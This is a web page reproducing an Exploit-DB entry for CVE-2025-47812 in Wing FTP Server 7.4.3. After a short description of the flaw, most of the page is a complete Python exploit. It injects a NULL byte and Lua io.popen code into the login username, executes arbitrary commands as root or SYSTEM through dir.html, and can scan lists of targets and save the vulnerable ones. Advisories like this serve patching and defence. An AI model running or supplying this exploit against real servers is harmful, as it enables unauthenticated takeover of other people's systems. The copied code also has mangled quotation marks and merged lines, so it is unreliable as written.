Wing FTP Server 7.4.3 – Unauthenticated Remote Code Execution (RCE)

Exploit Details

Basic Information

Exploit Title Wing FTP Server 7.4.3 – Unauthenticated Remote Code Execution (RCE)
Exploit ID EDB-ID:52347
Type exploitdb
Published 2025-07-02T00:00:00
Modified 2025-07-02T00:00:00

CVSS Information

Severity NONE
Vector NONE

CVE Information

  • CVE-2025-47812

Exploit Description

Exploit Title: Wing FTP Server 7.4.3 – Unauthenticated Remote Code Execution (RCE) CVE: CVE-2025-47812 Date: 2025-06-30 Exploit Author: Sheikh…

Exploit Code

# Exploit Title: Wing FTP Server 7.4.3 – Unauthenticated Remote Code Execution (RCE)

# CVE: CVE-2025-47812

# Date: 2025-06-30

# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)

# Vendor Homepage: https://www.wftpserver.com/

# Version: Wing FTP Server <= 7.4.3
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)

# Description:

# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)

# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the ‘username’

# parameter during login, leading to Lua code injection into session files. These maliciously crafted

# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,

# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).

# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)

# and the session creation logic (which uses the full unsanitized username).

# Proof-of-Concept (Python):

# The provided Python script automates the exploitation process.

# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.

# Upon successful authentication (even anonymous), a UID cookie is returned.

# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,

# leading to RCE.

import requests

import re

import argparse

# ANSI color codes

RED = “\033[91m”

GREEN = “\033[92m”

RESET = “\033[0m”

def print_green(text):

print(f”{GREEN}{text}{RESET}”)

def print_red(text):

print(f”{RED}{text}{RESET}”)

def run_exploit(target_url, command, username=”anonymous”, verbose=False):

login_url = f”{target_url}/loginok.html”

login_headers = {

“Host”: target_url.split(‘//’)[1].split(‘/’)[0],

“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0”,

“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,

“Accept-Language”: “en-US,en;q=0.5”,

“Accept-Encoding”: “gzip, deflate, br”,

“Content-Type”: “application/x-www-form-urlencoded”,

“Origin”: target_url,

“Connection”: “keep-alive”,

“Referer”: f”{target_url}/login.html?lang=english”,

“Cookie”: “client_lang=english”,

“Upgrade-Insecure-Requests”: “1”,

“Priority”: “u=0, i”

}

from urllib.parse import quote

encoded_username = quote(username)

payload = (

f”username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\”{command}\”)%0dlocal+r+%3d+h%3aread(\”*a\”)”

“%0dh%3aclose()%0dprint(r)%0d–&password=”

)

if verbose:

print_green(f”[+] Sending POST request to {login_url} with command: ‘{command}’ and username: ‘{username}'”)

try:

login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)

login_response.raise_for_status()

except requests.exceptions.RequestException as e:

print_red(f”[-] Error sending POST request to {login_url}: {e}”)

return False

set_cookie = login_response.headers.get(“Set-Cookie”, “”)

match = re.search(r’UID=([^;]+)’, set_cookie)

if not match:

print_red(“[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.”)

return False

uid = match.group(1)

if verbose:

print_green(f”[+] UID extracted: {uid}”)

dir_url = f”{target_url}/dir.html”

dir_headers = {

“Host”: login_headers[“Host”],

“User-Agent”: login_headers[“User-Agent”],

“Accept”: login_headers[“Accept”],

“Accept-Language”: login_headers[“Accept-Language”],

“Accept-Encoding”: login_headers[“Accept-Encoding”],

“Connection”: “keep-alive”,

“Cookie”: f”UID={uid}”,

“Upgrade-Insecure-Requests”: “1”,

“Priority”: “u=0, i”

}

if verbose:

print_green(f”[+] Sending GET request to {dir_url} with UID: {uid}”)

try:

dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)

dir_response.raise_for_status()

except requests.exceptions.RequestException as e:

print_red(f”[-] Error sending GET request to {dir_url}: {e}”)

return False

body = dir_response.text

clean_output = re.split(r’<\?xml', body)[0].strip() if verbose:
print_green(“\n— Command Output —“)

print(clean_output)

print_green(“———————-“)

else:

if clean_output:

print_green(f”[+] {target_url} is vulnerable!”)

else:

print_red(f”[-] {target_url} is NOT vulnerable.”)

return bool(clean_output)

def main():

parser = argparse.ArgumentParser(description=”Exploit script for command injection via login.html.”)

parser.add_argument(“-u”, “–url”, type=str,

help=”Target URL (e.g., http://192.168.134.130). Required if -f not specified.”)

parser.add_argument(“-f”, “–file”, type=str,

help=”File containing list of target URLs (one per line).”)

parser.add_argument(“-c”, “–command”, type=str,

help=”Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.”)

parser.add_argument(“-v”, “–verbose”, action=”store_true”,

help=”Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.”)

parser.add_argument(“-o”, “–output”, type=str,

help=”File to save vulnerable URLs.”)

parser.add_argument(“-U”, “–username”, type=str, default=”anonymous”,

help=”Username to use in the exploit payload. Default: anonymous”)

args = parser.parse_args()

if not args.url and not args.file:

parser.error(“Either -u/–url or -f/–file must be specified.”)

command_to_use = args.command if args.command else “whoami”

verbose_mode = True if args.command else args.verbose

vulnerable_sites = []

targets = []

if args.file:

try:

with open(args.file, ‘r’) as f:

targets = [line.strip() for line in f if line.strip()]

except Exception as e:

print_red(f”[-] Could not read target file ‘{args.file}’: {e}”)

return

else:

targets = [args.url]

for target in targets:

print(f”\n[*] Testing target: {target}”)

is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)

if is_vulnerable:

vulnerable_sites.append(target)

if args.output and vulnerable_sites:

try:

with open(args.output, ‘w’) as out_file:

for site in vulnerable_sites:

out_file.write(site + “\n”)

print_green(f”\n[+] Vulnerable sites saved to: {args.output}”)

except Exception as e:

print_red(f”[-] Could not write to output file ‘{args.output}’: {e}”)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.